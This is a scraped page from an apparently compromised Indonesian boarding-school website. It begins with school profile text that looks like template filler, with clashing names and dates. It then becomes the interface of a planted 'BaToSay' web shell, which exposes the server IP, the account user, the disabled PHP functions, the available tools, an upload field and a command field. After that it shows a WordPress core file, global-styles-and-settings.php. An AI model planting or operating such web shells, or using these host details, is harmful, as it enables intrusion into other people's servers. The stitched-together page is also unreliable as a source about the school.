Facebook Twitter Youtube Instagram Tiktok
Pondok Pesantren Tahfizul Qur'an
Daftar PPDB

Profil Sekolah

Sejarah Pesantren Insan Madani

Pada tahun 1885, sebuah desa kecil bernama Desa Mawar Jaya terletak di pedalaman yang terpencil. Desa ini didiami oleh sekelompok petani yang hidup dari hasil pertanian dan perkebunan. Namun, mayoritas anak-anak di desa tidak mendapatkan pendidikan formal karena jarak yang jauh dan tidak adanya sekolah di sekitar wilayah mereka.

Seorang warga desa bernama Bapak Hasan adalah seorang tokoh penting di masyarakat. Ia memiliki pemikiran maju dan menyadari betapa pentingnya pendidikan untuk masa depan generasi muda desa. Oleh karena itu, Bapak Hasan memulai sebuah inisiatif untuk mendirikan sebuah sekolah di Desa Mawar Jaya.

Pada awalnya, upayanya tidak mudah karena terbatasnya sumber daya dan dukungan dari pihak lain. Namun, Bapak Hasan tak menyerah. Ia berkeliling desa untuk mengajak warga lain ikut berpartisipasi dalam mendirikan sekolah. Banyak warga yang akhirnya menyadari betapa pentingnya pendidikan dan memberikan dukungan, baik dalam bentuk tenaga maupun sumbangan material.

Setelah beberapa bulan perjuangan, pada tanggal 10 Agustus 1885, sekolah pertama di Desa Mawar Jaya resmi didirikan. Gedung sekolah sederhana dibangun dengan adanya sumbangan dari masyarakat. Bapak Hasan menjadi kepala sekolah pertama, dengan seorang guru perempuan bernama Ibu Siti yang mengajar di sana.

Sekolah ini awalnya memiliki beberapa kelas dengan jumlah murid yang masih terbatas. Namun, dengan semangat juang yang tinggi, Bapak Hasan dan para guru bekerja keras untuk meningkatkan mutu pendidikan dan menarik lebih banyak murid. Mereka mengajak orang tua untuk mendaftarkan anak-anak mereka ke sekolah.

Seiring berjalannya waktu, sekolah ini tumbuh dan berkembang. Jumlah murid bertambah, dan fasilitas sekolah diperluas. Dengan dukungan dari pemerintah daerah dan sumbangan dari berbagai pihak, sekolah ini semakin berkembang menjadi pusat pendidikan yang diakui di wilayah sekitar.

Hingga saat ini, Sekolah Mawar Jaya tetap berdiri sebagai penjaga harapan dan mimpi bagi anak-anak desa. Bapak Hasan, meskipun sudah tiada, namanya tetap dikenang sebagai tokoh yang berjasa dalam pendirian sekolah tersebut. Sekolah ini telah menghasilkan banyak lulusan yang berhasil dan berkontribusi positif bagi masyarakat dan bangsa.

Visi:

“Menjadi lembaga pendidikan unggulan yang menginspirasi dan membentuk generasi penerus yang berintegritas, berdaya saing global, dan berkomitmen pada keunggulan ilmu pengetahuan dan karakter.”

Misi:

  1. Memberikan pendidikan berkualitas tinggi yang mengutamakan keunggulan akademik dan kedisiplinan.
  2. Mengembangkan lingkungan belajar yang inklusif, mendukung, dan menginspirasi siswa untuk mencapai potensi maksimal mereka.
  3. Menyediakan kurikulum yang beragam dan relevan, mengintegrasikan teknologi dan kecakapan 21st century, serta memfasilitasi pengembangan kreativitas dan pemecahan masalah.
  4. Mendorong kecintaan terhadap pembelajaran sepanjang hayat dan memberikan dukungan untuk pengembangan karir dan aspirasi siswa.
  5. Menanamkan nilai-nilai etika, integritas, dan kepemimpinan, serta membentuk karakter siswa yang bertanggung jawab dan peduli terhadap masyarakat.
  6. Menggalakkan partisipasi aktif orang tua dan masyarakat dalam mendukung pendidikan siswa.
  7. Melaksanakan penelitian dan inovasi pendidikan untuk terus meningkatkan kualitas pembelajaran dan pengajaran di sekolah.

Nama Yayasan: Yayasan Pendidikan Budi Mulia

Sejarah Singkat: Yayasan Pendidikan Budi Mulia didirikan pada tahun 1995 dengan tujuan mendorong dan mendukung perkembangan pendidikan di Indonesia. Yayasan ini berawal dari tekad sekelompok tokoh masyarakat yang peduli terhadap masa depan anak-anak Indonesia untuk memberikan akses pendidikan berkualitas tanpa memandang latar belakang ekonomi.

Visi: “Menjadi lembaga yayasan pendidikan terdepan yang memberikan kontribusi nyata dalam membentuk generasi berintegritas, berdaya saing global, dan berperan aktif dalam memajukan bangsa dan dunia.”

Misi:

  1. Memberikan bantuan beasiswa dan akses pendidikan untuk anak-anak dari keluarga kurang mampu agar mereka dapat mengenyam pendidikan berkualitas.
  2. Mendirikan, mengelola, dan mengembangkan sekolah-sekolah berkualitas dengan kurikulum unggulan dan fasilitas yang memadai untuk menciptakan lingkungan belajar yang kondusif.
  3. Menerapkan sistem pendidikan holistik yang menggabungkan aspek akademik, karakter, dan keterampilan 21st century untuk membentuk individu yang berdaya saing dan berkomitmen pada nilai-nilai kemanusiaan.
  4. Melibatkan orang tua, masyarakat, dan stakeholder lain dalam mendukung pendidikan yang berkelanjutan dan berdampak positif bagi seluruh lapisan masyarakat.
  5. Mengembangkan dan memfasilitasi program penelitian dan inovasi pendidikan untuk terus meningkatkan kualitas dan relevansi pembelajaran.
  6. Berperan aktif dalam kegiatan sosial dan pemberdayaan masyarakat untuk menciptakan lingkungan yang mendukung pendidikan dan kesejahteraan siswa.

Program Unggulan:

  1. Program Beasiswa Pendidikan Berkualitas: Yayasan Pendidikan Budi Mulia memberikan bantuan beasiswa kepada siswa berprestasi dari keluarga kurang mampu untuk mengenyam pendidikan di sekolah-sekolah binaan yayasan.
  2. Program Pendidikan Karakter: Sekolah-sekolah di bawah naungan yayasan menerapkan kurikulum khusus yang fokus pada pembentukan karakter siswa melalui kegiatan ekstrakurikuler, pelatihan kepemimpinan, dan pengembangan nilai-nilai moral.
  3. Program Pengembangan Guru: Yayasan memberikan pelatihan dan pendampingan bagi guru-guru agar dapat meningkatkan kompetensi dan kualitas pengajaran mereka.
  4. Program Lingkungan Belajar Berkualitas: Yayasan berinvestasi dalam memperbaiki fasilitas dan lingkungan belajar di sekolah-sekolah binaan agar menciptakan suasana yang nyaman dan kondusif untuk proses belajar-mengajar.

Informasi Kontak: Alamat: Jl. Harapan Indah No. 123, Kota Sejahtera, Indonesia

Nama: Kyai Ahmad Yusuf

Pendidikan:

  • Pendidikan Keagamaan dan Kepemimpinan di Pondok Pesantren Darul Ulum, Jawa Timur.
  • Sarjana Agama (S.Ag) dari Universitas Islam Nusantara, Yogyakarta.
  • Magister Studi Islam (M.Si) dengan konsentrasi Kajian Agama dan Masyarakat dari Universitas Gadjah Mada, Yogyakarta.

Pengalaman:

  • Mengajar dan mendalami ilmu agama di Pondok Pesantren Darul Ulum selama 15 tahun.
  • Menjabat sebagai Wali Kelas dan Pembina Rohani di Pondok Pesantren Darul Ulum selama 8 tahun.
  • Pimpinan Pesantren Insan Madani sejak tahun 2010.

Visi Kepemimpinan: Kyai Ahmad Yusuf memiliki visi untuk menjadikan Pesantren Insan Madani sebagai lembaga pendidikan Islam yang unggul dalam pendidikan agama, akademis, dan karakter. Ia bermimpi melihat setiap santri mampu menjadi pemimpin yang berintegritas, berdaya saing global, dan berperan aktif dalam memajukan umat dan masyarakat.

Misi Kepemimpinan:

  1. Pendidikan Agama yang Kokoh: Kyai Ahmad Yusuf berkomitmen untuk memberikan pendidikan agama yang kokoh, mendalam, dan seimbang antara ilmu-ilmu agama dengan ilmu pengetahuan umum.
  2. Kurikulum Berkualitas: Ia memastikan penyusunan kurikulum yang sesuai dengan perkembangan zaman, mengintegrasikan teknologi, dan mengajarkan keterampilan 21st century.
  3. Pembinaan Karakter: Kyai Ahmad Yusuf menekankan pentingnya pembinaan karakter bagi santri, seperti integritas, kepemimpinan, kejujuran, dan tanggung jawab.
  4. Penguatan Bahasa Asing: Ia memperhatikan pentingnya kemampuan bahasa asing bagi santri, terutama bahasa Inggris, untuk mendukung keterbukaan dan keterampilan berkomunikasi global.
  5. Pengembangan Keterampilan Kewirausahaan: Kyai Ahmad Yusuf memberikan pelatihan dan dukungan untuk mengembangkan keterampilan kewirausahaan bagi santri, sehingga mereka siap menghadapi dunia kerja dan berkontribusi pada perekonomian masyarakat.
  6. Pemberdayaan Perempuan: Ia aktif mendukung kesetaraan gender dan memberdayakan perempuan dengan memberikan kesempatan yang sama untuk mengenyam pendidikan dan berperan dalam kepemimpinan.

Kyai Ahmad Yusuf, sebagai pimpinan Pesantren Insan Madani, terus berusaha menciptakan lingkungan pendidikan yang kondusif, inklusif, dan berorientasi pada pengembangan potensi santri. Ia berdedikasi untuk membimbing dan menginspirasi para santri dalam mencapai kesuksesan di dunia dan akhirat.

  1. Pengasuh Pesantren (Kyai Ahmad Yusuf)

    • Bertanggung jawab atas keseluruhan aktivitas pesantren dan menetapkan kebijakan strategis.
    • Memimpin rapat dan konsultasi dengan Dewan Pembina dan Dewan Guru.
    • Menjalin hubungan dengan pihak eksternal, termasuk masyarakat dan pemerintah.

  2. Dewan Pembina

    • Ketua Dewan Pembina (Bapak Zainal Arifin)
    • Anggota Dewan Pembina (tokoh masyarakat, tokoh agama, dan donatur)
    • Bertugas memberikan arahan dan dukungan dalam pengambilan keputusan strategis pesantren.
    • Mengawasi keuangan dan kebijakan keuangan pesantren.

  3. Dewan Guru

    • Ketua Dewan Guru (Ustazah Nurmala)
    • Anggota Dewan Guru (ustadz dan ustadzah pengajar di pesantren)
    • Bertugas merumuskan kurikulum, menyusun rencana pembelajaran, dan melakukan evaluasi akademis.
    • Memimpin proses belajar mengajar dan membimbing perkembangan akademis santri.

  4. Sekretariat

    • Kepala Sekretariat (Bapak Ahmad Hidayat)
    • Staff Administrasi (mengurus administrasi harian, catatan kehadiran, dan surat-menyurat)
    • Staff Humas (bertugas mengelola komunikasi internal dan eksternal pesantren)

  5. Bidang Pendidikan

    • Kepala Bidang Pendidikan (Ustaz Ali Imron)
    • Staff Akademik (mengelola program dan jadwal pelajaran)
    • Staff Kesiswaan (mengurus kegiatan ekstrakurikuler dan pembinaan kedisiplinan santri)

  6. Bidang Keuangan

    • Kepala Bidang Keuangan (Bapak Rudi Hartono)
    • Staff Keuangan (mengelola keuangan pesantren, anggaran, dan pelaporan keuangan)

  7. Bidang Sarana dan Prasarana

    • Kepala Bidang Sarana dan Prasarana (Bapak Hadianto)
    • Staff Teknis (mengelola perawatan dan pemeliharaan fasilitas pesantren)

  8. Bidang Kesehatan dan Kesejahteraan

    • Kepala Bidang Kesehatan dan Kesejahteraan (Ibu Siti Rahayu)
    • Staff Kesehatan (merawat dan memberikan pertolongan pertama pada santri)
    • Staff Kesejahteraan (mengurus asrama dan kesejahteraan santri)

  9. Bidang Pengembangan Masyarakat

    • Kepala Bidang Pengembangan Masyarakat (Bapak Wawan Setiawan)
    • Staff Pengembangan Masyarakat (mengelola program-program sosial dan kegiatan kemanusiaan)

 

Pondok Pesantren Tazfizul Qur'an Annur Indonesia

Terwujudanya insan bermartabat di era globalisasi

Daftar PPDB
  • Alamat: Jl. Setu Cisaat Gg. Cahaya
  • Phone: 085212345678
  • WA: 081145123456
  • Email: admin@insanmadani.sch.id

Temukan Kami di Sosial Media:

annur-indonesia.sch.id

Butuh bantuan?
BaToSay Shell
BATOSAY Shell
Server IP : 45.126.43.27  /  Your IP : 3.15.237.123
Web Server : LiteSpeed
System : Linux serv02.awandns.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : annurindonesia ( 1064)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,dl,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/annurindonesia/public_html/wp-includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     

Current File : /home/annurindonesia/public_html/wp-includes/global-styles-and-settings.php
<?php
/**
 * APIs to interact with global settings & styles.
 *
 * @package WordPress
 */

/**
 * Gets the settings resulting of merging core, theme, and user data.
 *
 * @since 5.9.0
 *
 * @param array $path    Path to the specific setting to retrieve. Optional.
 *                       If empty, will return all settings.
 * @param array $context {
 *     Metadata to know where to retrieve the $path from. Optional.
 *
 *     @type string $block_name Which block to retrieve the settings from.
 *                              If empty, it'll return the settings for the global context.
 *     @type string $origin     Which origin to take data from.
 *                              Valid values are 'all' (core, theme, and user) or 'base' (core and theme).
 *                              If empty or unknown, 'all' is used.
 * }
 * @return mixed The settings array or individual setting value to retrieve.
 */
function wp_get_global_settings( $path = array(), $context = array() ) {
	if ( ! empty( $context['block_name'] ) ) {
		$new_path = array( 'blocks', $context['block_name'] );
		foreach ( $path as $subpath ) {
			$new_path[] = $subpath;
		}
		$path = $new_path;
	}

	/*
	 * This is the default value when no origin is provided or when it is 'all'.
	 *
	 * The $origin is used as part of the cache key. Changes here need to account
	 * for clearing the cache appropriately.
	 */
	$origin = 'custom';
	if (
		! wp_theme_has_theme_json() ||
		( isset( $context['origin'] ) && 'base' === $context['origin'] )
	) {
		$origin = 'theme';
	}

	/*
	 * By using the 'theme_json' group, this data is marked to be non-persistent across requests.
	 * See `wp_cache_add_non_persistent_groups` in src/wp-includes/load.php and other places.
	 *
	 * The rationale for this is to make sure derived data from theme.json
	 * is always fresh from the potential modifications done via hooks
	 * that can use dynamic data (modify the stylesheet depending on some option,
	 * settings depending on user permissions, etc.).
	 * See some of the existing hooks to modify theme.json behavior:
	 * https://make.wordpress.org/core/2022/10/10/filters-for-theme-json-data/
	 *
	 * A different alternative considered was to invalidate the cache upon certain
	 * events such as options add/update/delete, user meta, etc.
	 * It was judged not enough, hence this approach.
	 * See https://github.com/WordPress/gutenberg/pull/45372
	 */
	$cache_group = 'theme_json';
	$cache_key   = 'wp_get_global_settings_' . $origin;

	/*
	 * Ignore cache when the development mode is set to 'theme', so it doesn't interfere with the theme
	 * developer's workflow.
	 */
	$can_use_cached = ! wp_is_development_mode( 'theme' );

	$settings = false;
	if ( $can_use_cached ) {
		$settings = wp_cache_get( $cache_key, $cache_group );
	}

	if ( false === $settings ) {
		$settings = WP_Theme_JSON_Resolver::get_merged_data( $origin )->get_settings();
		if ( $can_use_cached ) {
			wp_cache_set( $cache_key, $settings, $cache_group );
		}
	}

	return _wp_array_get( $settings, $path, $settings );
}

/**
 * Gets the styles resulting of merging core, theme, and user data.
 *
 * @since 5.9.0
 * @since 6.3.0 the internal link format "var:preset|color|secondary" is resolved
 *              to "var(--wp--preset--font-size--small)" so consumers don't have to.
 * @since 6.3.0 `transforms` is now usable in the `context` parameter. In case [`transforms`]['resolve_variables']
 *              is defined, variables are resolved to their value in the styles.
 *
 * @param array $path    Path to the specific style to retrieve. Optional.
 *                       If empty, will return all styles.
 * @param array $context {
 *     Metadata to know where to retrieve the $path from. Optional.
 *
 *     @type string $block_name Which block to retrieve the styles from.
 *                              If empty, it'll return the styles for the global context.
 *     @type string $origin     Which origin to take data from.
 *                              Valid values are 'all' (core, theme, and user) or 'base' (core and theme).
 *                              If empty or unknown, 'all' is used.
 *     @type array $transforms Which transformation(s) to apply.
 *                              Valid value is array( 'resolve-variables' ).
 *                              If defined, variables are resolved to their value in the styles.
 * }
 * @return mixed The styles array or individual style value to retrieve.
 */
function wp_get_global_styles( $path = array(), $context = array() ) {
	if ( ! empty( $context['block_name'] ) ) {
		$path = array_merge( array( 'blocks', $context['block_name'] ), $path );
	}

	$origin = 'custom';
	if ( isset( $context['origin'] ) && 'base' === $context['origin'] ) {
		$origin = 'theme';
	}

	$resolve_variables = isset( $context['transforms'] )
	&& is_array( $context['transforms'] )
	&& in_array( 'resolve-variables', $context['transforms'], true );

	$merged_data = WP_Theme_JSON_Resolver::get_merged_data( $origin );
	if ( $resolve_variables ) {
		$merged_data = WP_Theme_JSON::resolve_variables( $merged_data );
	}
	$styles = $merged_data->get_raw_data()['styles'];
	return _wp_array_get( $styles, $path, $styles );
}


/**
 * Returns the stylesheet resulting of merging core, theme, and user data.
 *
 * @since 5.9.0
 * @since 6.1.0 Added 'base-layout-styles' support.
 * @since 6.6.0 Resolves relative paths in theme.json styles to theme absolute paths.
 *
 * @param array $types Optional. Types of styles to load.
 *                     It accepts as values 'variables', 'presets', 'styles', 'base-layout-styles'.
 *                     If empty, it'll load the following:
 *                     - for themes without theme.json: 'variables', 'presets', 'base-layout-styles'.
 *                     - for themes with theme.json: 'variables', 'presets', 'styles'.
 * @return string Stylesheet.
 */
function wp_get_global_stylesheet( $types = array() ) {
	/*
	 * Ignore cache when the development mode is set to 'theme', so it doesn't interfere with the theme
	 * developer's workflow.
	 */
	$can_use_cached = empty( $types ) && ! wp_is_development_mode( 'theme' );

	/*
	 * By using the 'theme_json' group, this data is marked to be non-persistent across requests.
	 * @see `wp_cache_add_non_persistent_groups()`.
	 *
	 * The rationale for this is to make sure derived data from theme.json
	 * is always fresh from the potential modifications done via hooks
	 * that can use dynamic data (modify the stylesheet depending on some option,
	 * settings depending on user permissions, etc.).
	 * See some of the existing hooks to modify theme.json behavior:
	 * @see https://make.wordpress.org/core/2022/10/10/filters-for-theme-json-data/
	 *
	 * A different alternative considered was to invalidate the cache upon certain
	 * events such as options add/update/delete, user meta, etc.
	 * It was judged not enough, hence this approach.
	 * @see https://github.com/WordPress/gutenberg/pull/45372
	 */
	$cache_group = 'theme_json';
	$cache_key   = 'wp_get_global_stylesheet';
	if ( $can_use_cached ) {
		$cached = wp_cache_get( $cache_key, $cache_group );
		if ( $cached ) {
			return $cached;
		}
	}

	$tree                = WP_Theme_JSON_Resolver::resolve_theme_file_uris( WP_Theme_JSON_Resolver::get_merged_data() );
	$supports_theme_json = wp_theme_has_theme_json();

	if ( empty( $types ) && ! $supports_theme_json ) {
		$types = array( 'variables', 'presets', 'base-layout-styles' );
	} elseif ( empty( $types ) ) {
		$types = array( 'variables', 'styles', 'presets' );
	}

	/*
	 * If variables are part of the stylesheet, then add them.
	 * This is so themes without a theme.json still work as before 5.9:
	 * they can override the default presets.
	 * See https://core.trac.wordpress.org/ticket/54782
	 */
	$styles_variables = '';
	if ( in_array( 'variables', $types, true ) ) {
		/*
		 * Only use the default, theme, and custom origins. Why?
		 * Because styles for `blocks` origin are added at a later phase
		 * (i.e. in the render cycle). Here, only the ones in use are rendered.
		 * @see wp_add_global_styles_for_blocks
		 */
		$origins          = array( 'default', 'theme', 'custom' );
		$styles_variables = $tree->get_stylesheet( array( 'variables' ), $origins );
		$types            = array_diff( $types, array( 'variables' ) );
	}

	/*
	 * For the remaining types (presets, styles), we do consider origins:
	 *
	 * - themes without theme.json: only the classes for the presets defined by core
	 * - themes with theme.json: the presets and styles classes, both from core and the theme
	 */
	$styles_rest = '';
	if ( ! empty( $types ) ) {
		/*
		 * Only use the default, theme, and custom origins. Why?
		 * Because styles for `blocks` origin are added at a later phase
		 * (i.e. in the render cycle). Here, only the ones in use are rendered.
		 * @see wp_add_global_styles_for_blocks
		 */
		$origins = array( 'default', 'theme', 'custom' );
		/*
		 * If the theme doesn't have theme.json but supports both appearance tools and color palette,
		 * the 'theme' origin should be included so color palette presets are also output.
		 */
		if ( ! $supports_theme_json && ( current_theme_supports( 'appearance-tools' ) || current_theme_supports( 'border' ) ) && current_theme_supports( 'editor-color-palette' ) ) {
			$origins = array( 'default', 'theme' );
		} elseif ( ! $supports_theme_json ) {
			$origins = array( 'default' );
		}
		$styles_rest = $tree->get_stylesheet( $types, $origins );
	}

	$stylesheet = $styles_variables . $styles_rest;
	if ( $can_use_cached ) {
		wp_cache_set( $cache_key, $stylesheet, $cache_group );
	}

	return $stylesheet;
}

/**
 * Gets the global styles custom CSS from theme.json.
 *
 * @since 6.2.0
 *
 * @return string The global styles custom CSS.
 */
function wp_get_global_styles_custom_css() {
	if ( ! wp_theme_has_theme_json() ) {
		return '';
	}
	/*
	 * Ignore cache when the development mode is set to 'theme', so it doesn't interfere with the theme
	 * developer's workflow.
	 */
	$can_use_cached = ! wp_is_development_mode( 'theme' );

	/*
	 * By using the 'theme_json' group, this data is marked to be non-persistent across requests.
	 * @see `wp_cache_add_non_persistent_groups()`.
	 *
	 * The rationale for this is to make sure derived data from theme.json
	 * is always fresh from the potential modifications done via hooks
	 * that can use dynamic data (modify the stylesheet depending on some option,
	 * settings depending on user permissions, etc.).
	 * See some of the existing hooks to modify theme.json behavior:
	 * @see https://make.wordpress.org/core/2022/10/10/filters-for-theme-json-data/
	 *
	 * A different alternative considered was to invalidate the cache upon certain
	 * events such as options add/update/delete, user meta, etc.
	 * It was judged not enough, hence this approach.
	 * @see https://github.com/WordPress/gutenberg/pull/45372
	 */
	$cache_key   = 'wp_get_global_styles_custom_css';
	$cache_group = 'theme_json';
	if ( $can_use_cached ) {
		$cached = wp_cache_get( $cache_key, $cache_group );
		if ( $cached ) {
			return $cached;
		}
	}

	$tree       = WP_Theme_JSON_Resolver::get_merged_data();
	$stylesheet = $tree->get_custom_css();

	if ( $can_use_cached ) {
		wp_cache_set( $cache_key, $stylesheet, $cache_group );
	}

	return $stylesheet;
}

/**
 * Adds global style rules to the inline style for each block.
 *
 * @since 6.1.0
 *
 * @global WP_Styles $wp_styles
 */
function wp_add_global_styles_for_blocks() {
	global $wp_styles;

	$tree        = WP_Theme_JSON_Resolver::get_merged_data();
	$block_nodes = $tree->get_styles_block_nodes();
	foreach ( $block_nodes as $metadata ) {
		$block_css = $tree->get_styles_for_block( $metadata );

		if ( ! wp_should_load_separate_core_block_assets() ) {
			wp_add_inline_style( 'global-styles', $block_css );
			continue;
		}

		$stylesheet_handle = 'global-styles';

		/*
		 * When `wp_should_load_separate_core_block_assets()` is true, block styles are
		 * enqueued for each block on the page in class WP_Block's render function.
		 * This means there will be a handle in the styles queue for each of those blocks.
		 * Block-specific global styles should be attached to the global-styles handle, but
		 * only for blocks on the page, thus we check if the block's handle is in the queue
		 * before adding the inline style.
		 * This conditional loading only applies to core blocks.
		 */
		if ( isset( $metadata['name'] ) ) {
			if ( str_starts_with( $metadata['name'], 'core/' ) ) {
				$block_name   = str_replace( 'core/', '', $metadata['name'] );
				$block_handle = 'wp-block-' . $block_name;
				if ( in_array( $block_handle, $wp_styles->queue, true ) ) {
					wp_add_inline_style( $stylesheet_handle, $block_css );
				}
			} else {
				wp_add_inline_style( $stylesheet_handle, $block_css );
			}
		}

		// The likes of block element styles from theme.json do not have  $metadata['name'] set.
		if ( ! isset( $metadata['name'] ) && ! empty( $metadata['path'] ) ) {
			$block_name = wp_get_block_name_from_theme_json_path( $metadata['path'] );
			if ( $block_name ) {
				if ( str_starts_with( $block_name, 'core/' ) ) {
					$block_name   = str_replace( 'core/', '', $block_name );
					$block_handle = 'wp-block-' . $block_name;
					if ( in_array( $block_handle, $wp_styles->queue, true ) ) {
						wp_add_inline_style( $stylesheet_handle, $block_css );
					}
				} else {
					wp_add_inline_style( $stylesheet_handle, $block_css );
				}
			}
		}
	}
}

/**
 * Gets the block name from a given theme.json path.
 *
 * @since 6.3.0
 * @access private
 *
 * @param array $path An array of keys describing the path to a property in theme.json.
 * @return string Identified block name, or empty string if none found.
 */
function wp_get_block_name_from_theme_json_path( $path ) {
	// Block name is expected to be the third item after 'styles' and 'blocks'.
	if (
		count( $path ) >= 3
		&& 'styles' === $path[0]
		&& 'blocks' === $path[1]
		&& str_contains( $path[2], '/' )
	) {
		return $path[2];
	}

	/*
	 * As fallback and for backward compatibility, allow any core block to be
	 * at any position.
	 */
	$result = array_values(
		array_filter(
			$path,
			static function ( $item ) {
				if ( str_contains( $item, 'core/' ) ) {
					return true;
				}
				return false;
			}
		)
	);
	if ( isset( $result[0] ) ) {
		return $result[0];
	}
	return '';
}

/**
 * Checks whether a theme or its parent has a theme.json file.
 *
 * @since 6.2.0
 *
 * @return bool Returns true if theme or its parent has a theme.json file, false otherwise.
 */
function wp_theme_has_theme_json() {
	static $theme_has_support = array();

	$stylesheet = get_stylesheet();

	if (
		isset( $theme_has_support[ $stylesheet ] ) &&
		/*
		 * Ignore static cache when the development mode is set to 'theme', to avoid interfering with
		 * the theme developer's workflow.
		 */
		! wp_is_development_mode( 'theme' )
	) {
		return $theme_has_support[ $stylesheet ];
	}

	$stylesheet_directory = get_stylesheet_directory();
	$template_directory   = get_template_directory();

	// This is the same as get_theme_file_path(), which isn't available in load-styles.php context
	if ( $stylesheet_directory !== $template_directory && file_exists( $stylesheet_directory . '/theme.json' ) ) {
		$path = $stylesheet_directory . '/theme.json';
	} else {
		$path = $template_directory . '/theme.json';
	}

	/** This filter is documented in wp-includes/link-template.php */
	$path = apply_filters( 'theme_file_path', $path, 'theme.json' );

	$theme_has_support[ $stylesheet ] = file_exists( $path );

	return $theme_has_support[ $stylesheet ];
}

/**
 * Cleans the caches under the theme_json group.
 *
 * @since 6.2.0
 */
function wp_clean_theme_json_cache() {
	wp_cache_delete( 'wp_get_global_stylesheet', 'theme_json' );
	wp_cache_delete( 'wp_get_global_styles_svg_filters', 'theme_json' );
	wp_cache_delete( 'wp_get_global_settings_custom', 'theme_json' );
	wp_cache_delete( 'wp_get_global_settings_theme', 'theme_json' );
	wp_cache_delete( 'wp_get_global_styles_custom_css', 'theme_json' );
	wp_cache_delete( 'wp_get_theme_data_template_parts', 'theme_json' );
	WP_Theme_JSON_Resolver::clean_cached_data();
}

/**
 * Returns the current theme's wanted patterns (slugs) to be
 * registered from Pattern Directory.
 *
 * @since 6.3.0
 *
 * @return string[]
 */
function wp_get_theme_directory_pattern_slugs() {
	return WP_Theme_JSON_Resolver::get_theme_data( array(), array( 'with_supports' => false ) )->get_patterns();
}

/**
 * Returns the metadata for the custom templates defined by the theme via theme.json.
 *
 * @since 6.4.0
 *
 * @return array Associative array of `$template_name => $template_data` pairs,
 *               with `$template_data` having "title" and "postTypes" fields.
 */
function wp_get_theme_data_custom_templates() {
	return WP_Theme_JSON_Resolver::get_theme_data( array(), array( 'with_supports' => false ) )->get_custom_templates();
}

/**
 * Returns the metadata for the template parts defined by the theme.
 *
 * @since 6.4.0
 *
 * @return array Associative array of `$part_name => $part_data` pairs,
 *               with `$part_data` having "title" and "area" fields.
 */
function wp_get_theme_data_template_parts() {
	$cache_group    = 'theme_json';
	$cache_key      = 'wp_get_theme_data_template_parts';
	$can_use_cached = ! wp_is_development_mode( 'theme' );

	$metadata = false;
	if ( $can_use_cached ) {
		$metadata = wp_cache_get( $cache_key, $cache_group );
		if ( false !== $metadata ) {
			return $metadata;
		}
	}

	if ( false === $metadata ) {
		$metadata = WP_Theme_JSON_Resolver::get_theme_data( array(), array( 'with_supports' => false ) )->get_template_parts();
		if ( $can_use_cached ) {
			wp_cache_set( $cache_key, $metadata, $cache_group );
		}
	}

	return $metadata;
}

/**
 * Determines the CSS selector for the block type and property provided,
 * returning it if available.
 *
 * @since 6.3.0
 *
 * @param WP_Block_Type $block_type The block's type.
 * @param string|array  $target     The desired selector's target, `root` or array path.
 * @param boolean       $fallback   Whether to fall back to broader selector.
 *
 * @return string|null CSS selector or `null` if no selector available.
 */
function wp_get_block_css_selector( $block_type, $target = 'root', $fallback = false ) {
	if ( empty( $target ) ) {
		return null;
	}

	$has_selectors = ! empty( $block_type->selectors );

	// Root Selector.

	// Calculated before returning as it can be used as fallback for
	// feature selectors later on.
	$root_selector = null;

	if ( $has_selectors && isset( $block_type->selectors['root'] ) ) {
		// Use the selectors API if available.
		$root_selector = $block_type->selectors['root'];
	} elseif ( isset( $block_type->supports['__experimentalSelector'] ) && is_string( $block_type->supports['__experimentalSelector'] ) ) {
		// Use the old experimental selector supports property if set.
		$root_selector = $block_type->supports['__experimentalSelector'];
	} else {
		// If no root selector found, generate default block class selector.
		$block_name    = str_replace( '/', '-', str_replace( 'core/', '', $block_type->name ) );
		$root_selector = ".wp-block-{$block_name}";
	}

	// Return selector if it's the root target we are looking for.
	if ( 'root' === $target ) {
		return $root_selector;
	}

	// If target is not `root` we have a feature or subfeature as the target.
	// If the target is a string convert to an array.
	if ( is_string( $target ) ) {
		$target = explode( '.', $target );
	}

	// Feature Selectors ( May fallback to root selector ).
	if ( 1 === count( $target ) ) {
		$fallback_selector = $fallback ? $root_selector : null;

		// Prefer the selectors API if available.
		if ( $has_selectors ) {
			// Look for selector under `feature.root`.
			$path             = array( current( $target ), 'root' );
			$feature_selector = _wp_array_get( $block_type->selectors, $path, null );

			if ( $feature_selector ) {
				return $feature_selector;
			}

			// Check if feature selector is set via shorthand.
			$feature_selector = _wp_array_get( $block_type->selectors, $target, null );

			return is_string( $feature_selector ) ? $feature_selector : $fallback_selector;
		}

		// Try getting old experimental supports selector value.
		$path             = array( current( $target ), '__experimentalSelector' );
		$feature_selector = _wp_array_get( $block_type->supports, $path, null );

		// Nothing to work with, provide fallback or null.
		if ( null === $feature_selector ) {
			return $fallback_selector;
		}

		// Scope the feature selector by the block's root selector.
		return WP_Theme_JSON::scope_selector( $root_selector, $feature_selector );
	}

	// Subfeature selector
	// This may fallback either to parent feature or root selector.
	$subfeature_selector = null;

	// Use selectors API if available.
	if ( $has_selectors ) {
		$subfeature_selector = _wp_array_get( $block_type->selectors, $target, null );
	}

	// Only return if we have a subfeature selector.
	if ( $subfeature_selector ) {
		return $subfeature_selector;
	}

	// To this point we don't have a subfeature selector. If a fallback
	// has been requested, remove subfeature from target path and return
	// results of a call for the parent feature's selector.
	if ( $fallback ) {
		return wp_get_block_css_selector( $block_type, $target[0], $fallback );
	}

	return null;
}

Batosay - 2023
IDNSEO Team